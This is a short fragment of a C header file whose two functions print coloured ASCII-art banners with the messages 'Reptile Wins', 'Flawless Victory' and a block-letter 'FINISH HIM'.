42 | "\t░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░\n"
43 | "\t░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░\n"
44 | "\t ▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒ \n"
45 | "\t ░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░ \n"
46 | "\t ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░ \n"
47 | "\t ░ ░ ░ ░ ░ ░ ░ ░ ░ \n"
48 | "\t ░ ░ \n");
49 | fprintf(stdout, "\n\e[01;32m\t\t\t\t Reptile Wins\n");
50 | fprintf(stdout, "\e[00m\t\t\t\tFlawless Victory\n\n");
51 | }
52 |
53 | void banner2(void)
54 | {
55 | fprintf(stdout, "\e[01;31m\n\n"
56 | "███████ ██ ███ ██ ██ ███████ ██ ██ ██ ██ ██ ███ ███ ██ ██\n"
57 | "██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ████ ████ ██ ██\n"
58 | "█████ ██ ██ ██ ██ ██ ███████ ███████ ███████ ██ ██ ████ ██ ██ ██\n"
59 | "██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ \n"
60 | "██ ██ ██ ████ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██\n"
61 | "\n");
62 | }
63 |
64 | #endif
65 |
--------------------------------------------------------------------------------